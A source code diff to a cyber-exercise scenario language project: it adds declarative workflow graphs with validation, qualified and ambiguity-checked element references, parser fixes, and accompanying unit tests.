@@ -28,7 +28,7 @@ class SuccessMode(str, Enum): class ObjectiveSuccess(SDLModel): """Declarative success criteria for an objective.""" - mode: SuccessMode = SuccessMode.ALL_OF + mode: SuccessMode | str = SuccessMode.ALL_OF conditions: list[str] = Field(default_factory=list) metrics: list[str] = Field(default_factory=list) evaluations: list[str] = Field(default_factory=list) @@ -37,8 +37,8 @@ class ObjectiveSuccess(SDLModel): @field_validator("mode", mode="before") @classmethod - def normalize_mode(cls, v: str) -> str: - return normalize_enum_value(v) + def normalize_mode(cls, v: str) -> SuccessMode | str: + return parse_enum_or_var(v, SuccessMode, field_name="mode") @model_validator(mode="after") def validate_non_empty(self) -> "ObjectiveSuccess": @@ -62,6 +62,8 @@ class ObjectiveWindow(SDLModel): stories: list[str] = Field(default_factory=list) scripts: list[str] = Field(default_factory=list) events: list[str] = Field(default_factory=list) + workflows: list[str] = Field(default_factory=list) + steps: list[str] = Field(default_factory=list) class Objective(SDLModel): diff --git a/src/aptl/core/sdl/orchestration.py b/src/aptl/core/sdl/orchestration.py index 4b3838f28..e1fc1253d 100644 --- a/src/aptl/core/sdl/orchestration.py +++ b/src/aptl/core/sdl/orchestration.py @@ -10,11 +10,17 @@ import math import re from decimal import Decimal, ROUND_CEILING +from enum import Enum from typing import Optional from pydantic import Field, field_validator, model_validator -from aptl.core.sdl._base import SDLModel, is_variable_ref, parse_float_or_var +from aptl.core.sdl._base import ( + SDLModel, + is_variable_ref, + normalize_enum_value, + parse_float_or_var, +) from aptl.core.sdl._source import Source # OCR uses duration-str's fixed calendar conversions: 30d/month, 365d/year. @@ -237,3 +243,107 @@ class Story(SDLModel): @classmethod def parse_speed(cls, v: str | int | float) -> float | str: return parse_float_or_var(v, minimum=1.0, field_name="speed") + + +class WorkflowStepType(str, Enum): + """Control-flow node types for declarative experiment workflows.""" + + OBJECTIVE = "objective" + IF = "if" + PARALLEL = "parallel" + END = "end" + + +class WorkflowPredicate(SDLModel): + """Branch predicate reusing objective-style success references.""" + + conditions: list[str] = Field(default_factory=list) + metrics: list[str] = Field(default_factory=list) + evaluations: list[str] = Field(default_factory=list) + tlos: list[str] = Field(default_factory=list) + goals: list[str] = Field(default_factory=list) + objectives: list[str] = Field(default_factory=list) + + @model_validator(mode="after") + def validate_non_empty(self) -> "WorkflowPredicate": + if any(( + self.conditions, + self.metrics, + self.evaluations, + self.tlos, + self.goals, + self.objectives, + )): + return self + raise ValueError( + "Workflow predicate must reference at least one condition, " + "metric, evaluation, TLO, goal, or objective" + ) + + +class WorkflowStep(SDLModel): + """A node in a workflow graph.""" + + type: WorkflowStepType = Field(alias="type") + objective: str = "" + next: str = "" + when: WorkflowPredicate | None = None + then_step: str = Field(default="", alias="then") + else_step: str = Field(default="", alias="else") + branches: list[str] = Field(default_factory=list) + description: str = "" + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) + + @model_validator(mode="after") + def validate_type_specific_fields(self) -> "WorkflowStep": + if self.type == WorkflowStepType.OBJECTIVE: + if not self.objective: + raise ValueError("Objective workflow step requires 'objective'") + if self.when is not None or self.then_step or self.else_step or self.branches: + raise ValueError( + "Objective workflow step only supports 'objective', " + "optional 'next', and 'description'" + ) + return self + + if self.type == WorkflowStepType.IF: + if self.when is None or not self.then_step or not self.else_step: + raise ValueError( + "If workflow step requires 'when', 'then', and 'else'" + ) + if self.objective or self.branches or self.next: + raise ValueError( + "If workflow step only supports 'when', 'then', 'else', " + "and 'description'" + ) + return self + + if self.type == WorkflowStepType.PARALLEL: + if not self.branches: + raise ValueError("Parallel workflow step requires 'branches'") + if self.objective or self.when is not None or self.then_step or self.else_step: + raise ValueError( + "Parallel workflow step only supports 'branches', " + "optional 'next', and 'description'" + ) + if len(self.branches) != len(set(self.branches)): + raise ValueError("Parallel workflow branches must be unique") + return self + + if self.objective or self.next or self.when is not None or self.then_step or self.else_step or self.branches: + raise ValueError( + "End workflow step only supports 'type' and 'description'" + ) + return self + + +class Workflow(SDLModel): + """A declarative experiment control graph over objectives.""" + + description: str = "" + start: str + steps: dict[str, WorkflowStep] = Field(min_length=1) diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index 4df2365c9..a9de6294d 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -25,6 +25,7 @@ "vulnerabilities", "metrics", "evaluations", "tlos", "goals", "entities", "injects", "events", "scripts", "stories", "content", "accounts", "relationships", "agents", "objectives", + "workflows", "variables", }) @@ -37,6 +38,7 @@ "facts", # Entity.facts (dict[str, str]) "entities", # Entity.entities (dict[str, Entity]) "events", # Script.events (dict[str, int]) + "steps", # Workflow.steps (dict[str, WorkflowStep]) }) @@ -69,12 +71,12 @@ def _normalize_keys(data: Any, is_hashmap: bool = False) -> Any: if is_hashmap: # This key is a user-defined identifier — preserve it norm_k = k + child_is_hashmap = False else: norm_k = _normalize_field_key(k) - - # Check if this field's children are user-defined HashMap keys - child_key = norm_k if isinstance(norm_k, str) else str(norm_k) - child_is_hashmap = _child_is_hashmap_field(child_key, v) + # Check if this field's children are user-defined HashMap keys + child_key = norm_k if isinstance(norm_k, str) else str(norm_k) + child_is_hashmap = _child_is_hashmap_field(child_key, v) result[norm_k] = _normalize_keys(v, is_hashmap=child_is_hashmap) return result if isinstance(data, list): @@ -102,7 +104,9 @@ def _reject_variable_mapping_keys( child_key = k if isinstance(k, str) else str(k) child_path = f"{path}.{child_key}" if path else child_key - child_is_hashmap = _child_is_hashmap_field(child_key, v) + child_is_hashmap = ( + False if is_hashmap else _child_is_hashmap_field(child_key, v) + ) _reject_variable_mapping_keys( v, path=child_path, @@ -161,22 +165,47 @@ def _expand_shorthands(data: dict[str, Any]) -> dict[str, Any]: # Sections where "source" is a plain string reference, NOT a Source package. _SOURCE_SKIP_SECTIONS = frozenset({"relationships", "agents"}) - def expand_sources(obj: Any, skip: bool = False) -> Any: + def expand_sources_scoped( + obj: Any, + *, + is_hashmap: bool = False, + skip: bool = False, + ) -> Any: if isinstance(obj, dict): result = {} for k, v in obj.items(): + if is_hashmap: + result[k] = expand_sources_scoped( + v, + is_hashmap=False, + skip=skip, + ) + continue + + child_skip = skip or k in _SOURCE_SKIP_SECTIONS + child_is_hashmap = _child_is_hashmap_field(k, v) + if k == "source" and not skip: result[k] = _expand_source(v) else: - # Once inside a skip section, stay skipped for all descendants - child_skip = skip or k in _SOURCE_SKIP_SECTIONS - result[k] = expand_sources(v, skip=child_skip) + result[k] = expand_sources_scoped( + v, + is_hashmap=child_is_hashmap, + skip=child_skip, + ) return result if isinstance(obj, list): - return [expand_sources(item, skip=skip) for item in obj] + return [ + expand_sources_scoped( + item, + is_hashmap=is_hashmap, + skip=skip, + ) + for item in obj + ] return obj - data = expand_sources(data) + data = expand_sources_scoped(data) # Expand infrastructure shorthand if "infrastructure" in data and isinstance(data["infrastructure"], dict): diff --git a/src/aptl/core/sdl/scenario.py b/src/aptl/core/sdl/scenario.py index a56f47f4a..25ea13711 100644 --- a/src/aptl/core/sdl/scenario.py +++ b/src/aptl/core/sdl/scenario.py @@ -1,10 +1,10 @@ """Top-level Scenario model — the root of the SDL. -The Scenario combines 20 specification sections covering +The Scenario combines 21 specification sections covering who (entities, accounts, agents), what (nodes, features, vulnerabilities, content), when (scripts, stories, events), and declarative experiment semantics (objectives, scoring -pipeline, conditions, relationships, variables). +pipeline, conditions, relationships, workflows, variables). Delivery-level concerns (Docker, Terraform, cloud APIs) are outside the SDL. @@ -22,7 +22,7 @@ from aptl.core.sdl.infrastructure import InfraNode from aptl.core.sdl.nodes import Node from aptl.core.sdl.objectives import Objective -from aptl.core.sdl.orchestration import Event, Inject, Script, Story +from aptl.core.sdl.orchestration import Event, Inject, Script, Story, Workflow from aptl.core.sdl.relationships import Relationship from aptl.core.sdl.scoring import Evaluation, Goal, Metric, TLO from aptl.core.sdl.variables import Variable @@ -32,7 +32,7 @@ class Scenario(SDLModel): """Top-level scenario specification. - A YAML document with up to 20 named sections. Only ``name`` + A YAML document with up to 21 named sections. Only ``name`` is required. All sections are optional dicts keyed by user-defined identifiers. """ @@ -63,6 +63,7 @@ class Scenario(SDLModel): relationships: dict[str, Relationship] = Field(default_factory=dict) agents: dict[str, Agent] = Field(default_factory=dict) objectives: dict[str, Objective] = Field(default_factory=dict) + workflows: dict[str, Workflow] = Field(default_factory=dict) variables: dict[str, Variable] = Field(default_factory=dict) _advisories: list[str] = PrivateAttr(default_factory=list) diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 4abd60774..65bb0094a 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -16,6 +16,7 @@ from aptl.core.sdl.entities import flatten_entities from aptl.core.sdl.infrastructure import SimpleProperties from aptl.core.sdl.nodes import NodeType +from aptl.core.sdl.orchestration import WorkflowStepType from aptl.core.sdl.scenario import Scenario from aptl.core.sdl.scoring import MetricType @@ -79,6 +80,135 @@ def _all_entity_names(self) -> set[str]: names.update(self._s.entities.keys()) return names + def _qualified_service_refs(self) -> set[str]: + refs: set[str] = set() + for node_name, node in self._s.nodes.items(): + for service in node.services: + if service.name: + refs.add(f"nodes.{node_name}.services.{service.name}") + return refs + + def _qualified_acl_refs(self) -> set[str]: + refs: set[str] = set() + for infra_name, infra in self._s.infrastructure.items(): + for acl in infra.acls: + if acl.name: + refs.add(f"infrastructure.{infra_name}.acls.{acl.name}") + return refs + + def _workflow_step_refs(self) -> set[str]: + refs: set[str] = set() + for workflow_name, workflow in self._s.workflows.items(): + for step_name in workflow.steps: + refs.add(f"{workflow_name}.{step_name}") + return refs + + def _named_ref_index(self, *, targetable: bool = False) -> dict[str, set[str]]: + """Build the alias map for generic relationship/objective refs. + + Bare refs stay available for most top-level sections when they are + unambiguous. Qualified refs are always accepted for top-level sections, + and are required for infrastructure entries because those keys + intentionally mirror node names. + """ + index: dict[str, set[str]] = defaultdict(set) + + def add(alias: str, canonical: str) -> None: + index[alias].add(canonical) + + top_level_sections = ( + ("nodes", self._s.nodes, True), + ("features", self._s.features, True), + ("conditions", self._s.conditions, True), + ("vulnerabilities", self._s.vulnerabilities, True), + ("infrastructure", self._s.infrastructure, False), + ("metrics", self._s.metrics, True), + ("evaluations", self._s.evaluations, True), + ("tlos", self._s.tlos, True), + ("goals", self._s.goals, True), + ("content", self._s.content, True), + ("accounts", self._s.accounts, True), + ("agents", self._s.agents, True), + ("objectives", self._s.objectives, True), + ("workflows", self._s.workflows, True), + ("relationships", self._s.relationships, True), + ("variables", self._s.variables, True), + ("injects", self._s.injects, True), + ("events", self._s.events, True), + ("scripts", self._s.scripts, True), + ("stories", self._s.stories, True), + ) + + for section_name, section, allow_bare in top_level_sections: + for name in section: + canonical = f"{section_name}.{name}" + add(canonical, canonical) + if allow_bare: + add(name, canonical) + + for entity_name in self._all_entity_names(): + canonical = f"entities.{entity_name}" + add(canonical, canonical) + add(entity_name, canonical) + + for content_name, content in self._s.content.items(): + for item in content.items: + if not item.name: + continue + canonical = f"content.{content_name}.items.{item.name}" + add(canonical, canonical) + add(item.name, canonical) + + for ref in self._qualified_service_refs(): + add(ref, ref) + for ref in self._qualified_acl_refs(): + add(ref, ref) + + if not targetable: + return {alias: set(candidates) for alias, candidates in index.items()} + + disallowed_prefixes = ( + "variables.", + "objectives.", + "workflows.", + ) + filtered: dict[str, set[str]] = {} + for alias, candidates in index.items(): + keep = { + candidate + for candidate in candidates + if not candidate.startswith(disallowed_prefixes) + } + if keep: + filtered[alias] = keep + return filtered + + def _validate_named_ref( + self, + ref: str, + *, + owner_label: str, + ref_label: str, + targetable: bool = False, + ) -> None: + """Validate a generic reference against the named-element index.""" + index = self._named_ref_index(targetable=targetable) + candidates = index.get(ref) + if not candidates: + qualifier = "targetable " if targetable else "" + self._err( + f"{owner_label} {ref_label} '{ref}' does not reference any " + f"defined {qualifier}element" + ) + return + + if len(candidates) > 1: + choices = ", ".join(sorted(candidates)) + self._err( + f"{owner_label} {ref_label} '{ref}' is ambiguous; use one of: " + f"{choices}" + ) + def validate(self) -> None: """Run all validation passes and raise on errors.""" self._errors = [] @@ -107,6 +237,7 @@ def validate(self) -> None: self._verify_relationships() self._verify_agents() self._verify_objectives() + self._verify_workflows() self._verify_variables() self._collect_advisories() @@ -354,23 +485,18 @@ def _verify_accounts(self) -> None: ) def _verify_relationships(self) -> None: - all_names = self._all_named_elements() for name, rel in self._s.relationships.items(): - if ( - not self._is_unresolved_var(rel.source) - and rel.source not in all_names - ): - self._err( - f"Relationship '{name}' source '{rel.source}' " - f"does not reference any defined element" + if not self._is_unresolved_var(rel.source): + self._validate_named_ref( + rel.source, + owner_label=f"Relationship '{name}'", + ref_label="source", ) - if ( - not self._is_unresolved_var(rel.target) - and rel.target not in all_names - ): - self._err( - f"Relationship '{name}' target '{rel.target}' " - f"does not reference any defined element" + if not self._is_unresolved_var(rel.target): + self._validate_named_ref( + rel.target, + owner_label=f"Relationship '{name}'", + ref_label="target", ) def _verify_agents(self) -> None: @@ -458,7 +584,6 @@ def _verify_agents(self) -> None: def _verify_objectives(self) -> None: actor_entities = self._all_entity_names() - targetable_names = self._all_targetable_elements() for name, objective in self._s.objectives.items(): if ( @@ -499,11 +624,12 @@ def _verify_objectives(self) -> None: for target in objective.targets: if self._is_unresolved_var(target): continue - if target not in targetable_names: - self._err( - f"Objective '{name}' target '{target}' does not " - "reference any defined targetable element" - ) + self._validate_named_ref( + target, + owner_label=f"Objective '{name}'", + ref_label="target", + targetable=True, + ) success_sections = ( ("condition", objective.success.conditions, self._s.conditions), @@ -525,6 +651,7 @@ def _verify_objectives(self) -> None: if objective.window: referenced_story_scripts: set[str] = set() referenced_scripts: set[str] = set() + referenced_workflows: set[str] = set() for story_name in objective.window.stories: if self._is_unresolved_var(story_name): @@ -580,6 +707,56 @@ def _verify_objectives(self) -> None: "is not included by the referenced scripts" ) + for workflow_name in objective.window.workflows: + if self._is_unresolved_var(workflow_name): + continue + workflow = self._s.workflows.get(workflow_name) + if workflow is None: + self._err( + f"Objective '{name}' references undefined workflow " + f"'{workflow_name}' in window" + ) + continue + referenced_workflows.add(workflow_name) + + if objective.window.steps and not objective.window.workflows: + self._err( + f"Objective '{name}' window steps require at least one " + "referenced workflow" + ) + + for step_ref in objective.window.steps: + if self._is_unresolved_var(step_ref): + continue + if "." not in step_ref: + self._err( + f"Objective '{name}' window step '{step_ref}' must " + "use '.' syntax" + ) + continue + + workflow_name, step_name = step_ref.split(".", 1) + workflow = self._s.workflows.get(workflow_name) + if workflow is None: + self._err( + f"Objective '{name}' window step '{step_ref}' " + f"references undefined workflow '{workflow_name}'" + ) + continue + if ( + referenced_workflows + and workflow_name not in referenced_workflows + ): + self._err( + f"Objective '{name}' window step '{step_ref}' " + "is not part of the referenced workflows" + ) + if step_name not in workflow.steps: + self._err( + f"Objective '{name}' window step '{step_ref}' " + f"references undefined step '{step_name}'" + ) + for dep_name in objective.depends_on: if self._is_unresolved_var(dep_name): continue @@ -598,6 +775,150 @@ def _verify_objectives(self) -> None: if dep_graph and _topological_sort(dep_graph) is None: self._err("Objective dependency graph contains a cycle") + def _verify_workflows(self) -> None: + for workflow_name, workflow in self._s.workflows.items(): + if "." in workflow_name: + self._err( + f"Workflow '{workflow_name}' name cannot contain '.' " + "because step references use '.' syntax" + ) + + if ( + not self._is_unresolved_var(workflow.start) + and workflow.start not in workflow.steps + ): + self._err( + f"Workflow '{workflow_name}' start step " + f"'{workflow.start}' is not defined" + ) + + graph: dict[str, list[str]] = { + step_name: [] for step_name in workflow.steps + } + + for step_name, step in workflow.steps.items(): + if "." in step_name: + self._err( + f"Workflow '{workflow_name}' step '{step_name}' cannot " + "contain '.' because objective windows use " + "'.' syntax" + ) + + edges: list[str] = [] + + if step.type == WorkflowStepType.OBJECTIVE: + if ( + not self._is_unresolved_var(step.objective) + and step.objective not in self._s.objectives + ): + self._err( + f"Workflow '{workflow_name}' step '{step_name}' " + f"references undefined objective '{step.objective}'" + ) + if step.next: + if ( + not self._is_unresolved_var(step.next) + and step.next not in workflow.steps + ): + self._err( + f"Workflow '{workflow_name}' step '{step_name}' " + f"next step '{step.next}' is not defined" + ) + elif not self._is_unresolved_var(step.next): + edges.append(step.next) + + elif step.type == WorkflowStepType.IF: + predicate_sections = ( + ("condition", step.when.conditions, self._s.conditions), + ("metric", step.when.metrics, self._s.metrics), + ( + "evaluation", + step.when.evaluations, + self._s.evaluations, + ), + ("TLO", step.when.tlos, self._s.tlos), + ("goal", step.when.goals, self._s.goals), + ("objective", step.when.objectives, self._s.objectives), + ) + for label, refs, section in predicate_sections: + for ref in refs: + if self._is_unresolved_var(ref): + continue + if ref not in section: + self._err( + f"Workflow '{workflow_name}' step " + f"'{step_name}' references undefined " + f"{label} '{ref}' in predicate" + ) + + for branch_label, branch_ref in ( + ("then", step.then_step), + ("else", step.else_step), + ): + if self._is_unresolved_var(branch_ref): + continue + if branch_ref not in workflow.steps: + self._err( + f"Workflow '{workflow_name}' step '{step_name}' " + f"{branch_label} step '{branch_ref}' is not " + "defined" + ) + continue + edges.append(branch_ref) + + elif step.type == WorkflowStepType.PARALLEL: + for branch_ref in step.branches: + if self._is_unresolved_var(branch_ref): + continue + if branch_ref not in workflow.steps: + self._err( + f"Workflow '{workflow_name}' step '{step_name}' " + f"branch '{branch_ref}' is not defined" + ) + continue + edges.append(branch_ref) + + if step.next: + if ( + not self._is_unresolved_var(step.next) + and step.next not in workflow.steps + ): + self._err( + f"Workflow '{workflow_name}' step '{step_name}' " + f"join step '{step.next}' is not defined" + ) + elif not self._is_unresolved_var(step.next): + edges.append(step.next) + + graph[step_name] = edges + + if graph and _topological_sort(graph) is None: + self._err( + f"Workflow '{workflow_name}' graph contains a cycle" + ) + + if ( + self._is_unresolved_var(workflow.start) + or workflow.start not in workflow.steps + ): + continue + + reachable: set[str] = set() + stack = [workflow.start] + while stack: + current = stack.pop() + if current in reachable: + continue + reachable.add(current) + stack.extend(graph.get(current, [])) + + unreachable = sorted(set(workflow.steps) - reachable) + if unreachable: + self._err( + f"Workflow '{workflow_name}' contains unreachable steps: " + + ", ".join(unreachable) + ) + def _verify_variables(self) -> None: defined = set(self._s.variables.keys()) @@ -635,40 +956,11 @@ def visit(value: object, path: str) -> None: def _all_named_elements(self) -> set[str]: """Collect all named element keys across all scenario sections.""" - names: set[str] = set() - names.update(self._s.nodes.keys()) - names.update(self._s.features.keys()) - names.update(self._s.conditions.keys()) - names.update(self._s.vulnerabilities.keys()) - names.update(self._s.infrastructure.keys()) - names.update(self._s.metrics.keys()) - names.update(self._s.evaluations.keys()) - names.update(self._s.tlos.keys()) - names.update(self._s.goals.keys()) - names.update(self._s.entities.keys()) - names.update(flatten_entities(self._s.entities).keys()) - names.update(self._s.injects.keys()) - names.update(self._s.events.keys()) - names.update(self._s.scripts.keys()) - names.update(self._s.stories.keys()) - names.update(self._s.content.keys()) - for content in self._s.content.values(): - for item in content.items: - if item.name: - names.add(item.name) - names.update(self._s.accounts.keys()) - names.update(self._s.agents.keys()) - names.update(self._s.objectives.keys()) - names.update(self._s.relationships.keys()) - names.update(self._s.variables.keys()) - return names + return set(self._named_ref_index().keys()) def _all_targetable_elements(self) -> set[str]: """Collect named elements that can serve as objective targets.""" - names = self._all_named_elements() - names.difference_update(self._s.variables.keys()) - names.difference_update(self._s.objectives.keys()) - return names + return set(self._named_ref_index(targetable=True).keys()) def _verify_features(self) -> None: # Check vulnerability references diff --git a/tests/test_scenarios.py b/tests/test_scenarios.py index 7d384695e..85a8592c8 100644 --- a/tests/test_scenarios.py +++ b/tests/test_scenarios.py @@ -138,6 +138,55 @@ def test_complex_examples_have_experiment_semantics(path): assert scenario.metrics +def test_complex_examples_cover_new_sdl_surfaces(): + """Complex examples should exercise workflows, enum vars, and direct refs.""" + from aptl.core.scenarios import load_scenario + + satcom = load_scenario(EXAMPLES_DIR / "satcom-release-poisoning.sdl.yaml") + assert satcom.workflows + assert any( + step.type.value == "parallel" + for workflow in satcom.workflows.values() + for step in workflow.steps.values() + ) + assert any( + acct.password_strength == "${release_engineer_password_strength}" + for acct in satcom.accounts.values() + ) + + hospital = load_scenario( + EXAMPLES_DIR / "hospital-ransomware-surgery-day.sdl.yaml" + ) + assert any( + target.startswith("nodes.") + for objective in hospital.objectives.values() + for target in objective.targets + ) + assert any( + target.startswith("infrastructure.") + for objective in hospital.objectives.values() + for target in objective.targets + ) + + port = load_scenario(EXAMPLES_DIR / "port-authority-surge-response.sdl.yaml") + assert port.workflows + assert any( + step.type.value == "parallel" + for workflow in port.workflows.values() + for step in workflow.steps.values() + ) + assert any( + target.startswith("nodes.") + for objective in port.objectives.values() + for target in objective.targets + ) + assert any( + target.startswith("infrastructure.") + for objective in port.objectives.values() + for target in objective.targets + ) + + class TestScenarioExceptions: """Tests for shared scenario exception types.""" diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index 110e8deba..b97cd822f 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -7,11 +7,20 @@ from aptl.core.sdl.conditions import Condition from aptl.core.sdl.entities import Entity, ExerciseRole, flatten_entities from aptl.core.sdl.features import Feature, FeatureType -from aptl.core.sdl.infrastructure import InfraNode, SimpleProperties +from aptl.core.sdl.infrastructure import ACLAction, ACLRule, InfraNode, SimpleProperties from aptl.core.sdl.nodes import Node, NodeType, Resources, Role, parse_ram from aptl.core.sdl.nodes import Node from aptl.core.sdl.objectives import Objective, ObjectiveSuccess, ObjectiveWindow -from aptl.core.sdl.orchestration import Event, Inject, Script, Story, parse_duration +from aptl.core.sdl.orchestration import ( + Event, + Inject, + Script, + Story, + Workflow, + WorkflowStep, + WorkflowStepType, + parse_duration, +) from aptl.core.sdl.scoring import Evaluation, Goal, Metric, MetricType, MinScore, TLO from aptl.core.sdl.vulnerabilities import Vulnerability @@ -156,6 +165,15 @@ def test_count_placeholder(self): n = InfraNode(count="${replicas}") assert n.count == "${replicas}" + def test_duplicate_acl_names_rejected(self): + with pytest.raises(ValidationError, match="ACL names must be unique"): + InfraNode( + acls=[ + {"name": "allow-admin", "direction": "in", "from_net": "wan"}, + {"name": "allow-admin", "direction": "out", "to_net": "wan"}, + ] + ) + class TestSimpleProperties: def test_valid(self): @@ -339,6 +357,10 @@ def test_basic(self): e = Entity(name="Team", role="blue") assert e.role == ExerciseRole.BLUE + def test_role_placeholder(self): + e = Entity(name="Team", role="${exercise_role}") + assert e.role == "${exercise_role}" + def test_facts_supported(self): e = Entity(name="Team", facts={"department": "SOC"}) assert e.facts == {"department": "SOC"} @@ -485,6 +507,13 @@ def test_accepts_goal_reference(self): success = ObjectiveSuccess(goals=["pass-exercise"]) assert success.goals == ["pass-exercise"] + def test_mode_placeholder(self): + success = ObjectiveSuccess( + mode="${objective_mode}", + goals=["pass-exercise"], + ) + assert success.mode == "${objective_mode}" + class TestObjective: def test_requires_exactly_one_actor_binding(self): @@ -506,12 +535,18 @@ def test_valid_agent_objective(self): actions=["Scan"], targets=["web-server"], success={"goals": ["initial-access"]}, - window={"scripts": ["main-timeline"], "events": ["attack-wave"]}, + window={ + "scripts": ["main-timeline"], + "events": ["attack-wave"], + "workflows": ["response-flow"], + "steps": ["response-flow.validate"], + }, depends_on=["recon"], ) assert objective.agent == "red-agent" assert objective.success.goals == ["initial-access"] assert isinstance(objective.window, ObjectiveWindow) + assert objective.window.steps == ["response-flow.validate"] def test_valid_entity_objective(self): objective = Objective( @@ -527,7 +562,6 @@ def test_valid_entity_objective(self): from aptl.core.sdl.accounts import Account, PasswordStrength from aptl.core.sdl.content import Content, ContentItem, ContentType -from aptl.core.sdl.infrastructure import ACLAction, ACLRule from aptl.core.sdl.nodes import AssetValue, AssetValueLevel, OSFamily, ServicePort @@ -611,6 +645,14 @@ def test_disabled_placeholder(self): a = Account(username="svc", node="dc", disabled="${is_disabled}") assert a.disabled == "${is_disabled}" + def test_password_strength_placeholder(self): + a = Account( + username="svc", + node="dc", + password_strength="${password_strength}", + ) + assert a.password_strength == "${password_strength}" + def test_requires_node(self): with pytest.raises(ValidationError, match="Account requires 'node'"): Account(username="admin") @@ -627,10 +669,18 @@ def test_deny_rule(self): r = ACLRule(direction="out", to_net="wan", action="deny") assert r.action == ACLAction.DENY + def test_named_rule(self): + r = ACLRule(name="allow-admin", direction="out", to_net="wan") + assert r.name == "allow-admin" + def test_port_placeholder(self): r = ACLRule(direction="in", from_net="wan", ports=["${https_port}"]) assert r.ports == ["${https_port}"] + def test_action_placeholder(self): + r = ACLRule(direction="in", from_net="wan", action="${acl_action}") + assert r.action == "${acl_action}" + class TestOSFamily: def test_windows(self): @@ -645,6 +695,14 @@ def test_no_os(self): n = Node(type="vm", resources={"ram": "1 gib", "cpu": 1}) assert n.os is None + def test_os_placeholder(self): + n = Node( + type="vm", + os="${node_os}", + resources={"ram": "1 gib", "cpu": 1}, + ) + assert n.os == "${node_os}" + class TestAssetValue: def test_defaults(self): @@ -663,6 +721,10 @@ def test_on_node(self): ) assert n.asset_value.confidentiality == AssetValueLevel.HIGH + def test_placeholder(self): + av = AssetValue(confidentiality="${cia_value}") + assert av.confidentiality == "${cia_value}" + class TestServicePort: def test_basic(self): @@ -688,6 +750,17 @@ def test_duplicate_port_protocol_rejected(self): ], ) + def test_duplicate_named_service_rejected(self): + with pytest.raises(ValidationError, match="Duplicate named service"): + Node( + type="vm", + resources={"ram": "1 gib", "cpu": 1}, + services=[ + {"port": 22, "name": "admin"}, + {"port": 443, "name": "admin"}, + ], + ) + def test_same_port_with_different_protocols_allowed(self): n = Node( type="vm", @@ -738,6 +811,36 @@ def test_default_not_internal(self): assert p.internal is False +class TestWorkflow: + def test_objective_step(self): + step = WorkflowStep(type="objective", objective="verify-release", next="done") + assert step.type == WorkflowStepType.OBJECTIVE + assert step.objective == "verify-release" + + def test_if_step_requires_branches(self): + with pytest.raises(ValidationError, match="requires 'when', 'then', and 'else'"): + WorkflowStep(type="if", when={"goals": ["g1"]}) + + def test_parallel_step_requires_unique_branches(self): + with pytest.raises(ValidationError, match="branches must be unique"): + WorkflowStep(type="parallel", branches=["a", "a"]) + + def test_valid_workflow(self): + workflow = Workflow( + start="validate", + steps={ + "validate": { + "type": "objective", + "objective": "verify-release", + "next": "done", + }, + "done": {"type": "end"}, + }, + ) + assert workflow.start == "validate" + assert set(workflow.steps) == {"validate", "done"} + + # --------------------------------------------------------------------------- # Relationships, Agents, Variables (G10, G11, Identity) # --------------------------------------------------------------------------- diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index 948978a67..8b3060cd4 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -157,6 +157,46 @@ def test_objectives_section_parses(self): assert s.objectives["initial-access"].success.goals == ["pass-exercise"] assert s.advisories == [] + def test_workflows_section_parses(self): + sdl = """ +name: test +entities: + blue-team: + role: Blue +metrics: + release-check: + type: manual + max-score: 100 +evaluations: + eval-1: + metrics: [release-check] + min-score: 75 +tlos: + tlo-1: + evaluation: eval-1 +goals: + pass-exercise: + tlos: [tlo-1] +objectives: + validate-release: + entity: blue-team + success: + goals: [pass-exercise] +workflows: + release-response: + start: validate + steps: + validate: + type: objective + objective: validate-release + next: finish + finish: + type: end +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.workflows["release-response"].start == "validate" + assert "validate" in s.workflows["release-response"].steps + def test_vm_without_resources_generates_advisory(self): sdl = """ name: test @@ -297,6 +337,38 @@ def test_entity_facts_keys_preserved(self): "Shift": "nights", } + def test_feature_key_named_source_is_not_treated_as_source_field(self): + sdl = """ +name: test +nodes: + web: + type: vm + resources: {ram: 1 gib, cpu: 1} + roles: {admin: root} + features: + source: admin +features: + source: + type: service + source: busybox +infrastructure: + web: {count: 1} +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.nodes["web"].features == {"source": "admin"} + assert s.features["source"].source.name == "busybox" + + def test_entity_fact_key_named_source_is_not_treated_as_source_field(self): + sdl = """ +name: test +entities: + blue-team: + facts: + source: internal-doc +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.entities["blue-team"].facts == {"source": "internal-doc"} + def test_ocr_duration_units_parse(self): sdl = """ name: test @@ -318,6 +390,77 @@ def test_ocr_duration_units_parse(self): assert s.scripts["main"].end_time == 2_592_000 assert s.scripts["main"].events["phase-1"] == 1 + def test_leaf_enum_placeholders_parse(self): + sdl = """ +name: test +variables: + account_strength: + type: string + default: strong + host_os: + type: string + default: linux + acl_action: + type: string + default: allow + success_mode: + type: string + default: any_of + team_role: + type: string + default: blue +nodes: + net: + type: switch + vm: + type: vm + os: ${host_os} + resources: {ram: 1 gib, cpu: 1} +infrastructure: + net: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + acls: + - {name: allow-admin, direction: in, from_net: net, action: "${acl_action}"} + vm: + count: 1 + links: [net] +entities: + blue-team: + role: ${team_role} +accounts: + admin: + username: admin + node: vm + password_strength: ${account_strength} +goals: + pass-exercise: + tlos: [tlo-1] +tlos: + tlo-1: + evaluation: eval-1 +evaluations: + eval-1: + metrics: [release-check] + min-score: 75 +metrics: + release-check: + type: manual + max-score: 100 +objectives: + review: + entity: blue-team + success: + mode: ${success_mode} + goals: [pass-exercise] +""" + s = parse_sdl(sdl) + assert s.nodes["vm"].os == "${host_os}" + assert s.infrastructure["net"].acls[0].action == "${acl_action}" + assert s.entities["blue-team"].role == "${team_role}" + assert s.accounts["admin"].password_strength == "${account_strength}" + assert s.objectives["review"].success.mode == "${success_mode}" + def test_negative_numeric_duration_rejected(self): sdl = """ name: test @@ -357,6 +500,72 @@ def test_switch_rejects_vm_only_fields(self): 